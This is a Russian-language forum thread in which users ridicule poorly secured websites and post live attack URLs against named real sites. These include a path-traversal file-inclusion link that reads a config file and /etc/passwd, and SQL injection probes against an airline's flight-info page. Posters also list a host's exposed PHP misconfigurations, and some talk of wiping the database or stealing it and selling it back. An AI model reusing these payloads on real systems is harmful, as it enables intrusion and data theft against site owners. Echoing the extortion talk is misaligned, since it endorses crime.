Только не падайте со стульчика

[Yurik]

Только не падайте со стульчика

http://www.freesia.com.ua/myself.phtml?file=../conf/conf.php
View HTML Source

P.S.
user "iname" has ALL PRIVILEGIES (root) for mysql database at
http://iname.com.ua
that is used for hundred databases

 

[confguru]

Плакать надо...
http://www.freesia.com.ua/myself.phtml?file=../../../../../../../../etc/passwd

Они никогда не посещали ПХПклуб )

 

[Ямерт]

2admin: ссылка твоя какая-то странная...

 

[Frol]

Warning: Failed opening '/home/reseller/public_html/myself.phtml' for inclusion (include_path='.:/usr/local/lib/php') in Unknown on line 0

 

[confguru]

Вот .... видите уже прочитали....
;-)

 

[Pike]

Ладно там какой-то професійний творчий колектив,
а вот как, например, аэрофлот допускает такое?

http://aeroflot.com/arrdepinfo.php4?flight_id=blah

я видел тех, кто так пишет, но я не видел, чтобы им за это платили...

 

[Yurik]

ещё более смешно что у них логи не ведутся (муськи)
к тому же теперь у них сайты не работают , сами поблокировали
да и к тому же рут юзер почти во всех веб проектах используется....

да.. "професійний творчий колектив", из их репертуара:

Уявіть собі які прибутки Ви втрачаєте щодня і щогодини, тільки тому

 

[BigDaddy]

Ну Юрик, все таки ты их наказал.
Перестали работать все сайты iname... И наверно не только...

 

[Yurik]

Я их не трогал, они сами всё делали и теперь переделывают.
Конечно таких гнать нужно, но за пару недель они все переделают (очевидно, с новыи дырами)...

P.S.
Лучший хит был
chmod 600 mysql.*

 

[young]

http://aeroflot.com/arrdepinfo.php4?flight_id=1 or 1

 

[Yurik]

Наведаемся когда заработает этот раздел
http://aeroflot.com/tickets/

 

[Borman]

2 Yurik:

А как ты эту дырку нашел ?
Случайно нарвался ?

 

[Yurik]

>А как ты эту дырку нашел
не знаю, мне рассказали

 

[Ямерт]

Это ведь сайт огромной авиакомпании...
Я бы на месте манагера этого проекта сожрал свои башмаки от позора.

 

[Rynor]

какие манагеры такие и компании
соответственно и сайты
а башмаки типа блестят

 

[Yurik]

http://iname.com.ua/infophp.php
1. safe_mode=Off
2. open_basedir no value
3. session.save_path=/tmp
4. User/Group nobody(65534)/99

И за это ещё даже и деньги берут(http://iname.com.ua/hosting.phtml)

 

[BlackWidow]

Простите, дорогие, а в чём прикол с Аэрофлотом?

 

[confguru]

Да там была дыра, можно было потереть всю базу )

Я им отписал - даже спасибо не сказали
в следующий раз буду просто стирать базу )

 

[kvn]

а лучше эту базу поиметь, потом у них стереть, а потом им же и продать..

 

[BlackWidow]

А какая дыра? Расскажите вкратце, плиз, может я сам так делаю?